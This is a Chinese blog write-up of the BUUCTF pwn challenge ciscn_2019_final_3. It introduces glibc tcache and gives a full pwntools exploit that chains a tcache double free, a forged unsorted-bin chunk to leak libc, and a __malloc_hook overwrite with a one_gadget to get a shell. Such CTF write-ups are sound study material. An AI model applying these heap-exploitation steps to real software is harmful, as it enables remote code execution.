[BUUCTF]PWN——ciscn_2019_final_3(tcache dup)

ciscn_2019_final_3

附件

步骤:

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况,提示是堆题
    在这里插入图片描述
  3. 64位ida载入
    add()
    在这里插入图片描述
    remove()
    在这里插入图片描述

tcache

第一次接触tcache,根据ctfwiki和该文章简单了解一下tcache

tcache全名thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制,并默认开启。

tcache 引入了两个新的结构体,tcache_entrytcache_perthread_struct

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;        //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk,构成单链表
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];     //数组counts用于存放每个bins中的chunk数量
  tcache_entry *entries[TCACHE_MAX_BINS];   //数组entries用于放置64个bins
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

关于tcache的具体的介绍看上面的链接。

利用思路:

  1. 利用uaf漏洞,指向一个堆的size域,然后修改为0x400以上,在delete就可以进入unsorted bin中
  2. 通过uaf再malloc,就可以泄露main_arena+96的地址,这样泄露了libc地址
  3. 劫持free_hook函数,修改成system,之后释放一个写有/bin/sh字符串的chunk或者直接利用one_gadget

由于我的ubuntu18.04是最近下的,它有个增强保护把这个double free的洞给修了,所以没法动调截图解释了,只能直接上代码了。

size小于small bin size时(0x400),先放到对应的tcache中,直到tcache被填满(默认是7个),被填满后才会放到fastbin或者unsorted bin中
泄露libc地址通常经过unsortbin,存在tcache的状况下,64位程序须要申请超过0x400大小chunk,free以后才能进unsortbin,因此我们可以通过修改chunksize。
由于程序在后面会将分配给我们的堆的地址打印出来,因此要想办法将chunk分配到libc地址上。经过overlap能够将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间

#encoding:utf-8
from pwn import *

#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')

context.log_level='debug'

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12

#gdb.attach(io)
#dup 
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
gdb.attach(io)

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()

在这里插入图片描述

参考wp:
https://www.cnblogs.com/pppyyyzzz/p/14040210.html
https://www.shangmayuan.com/a/c9cb50dbdea54d96a8619a3d.html
https://www.yuque.com/hxfqg9/bin/ms60xm

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/113995633
dup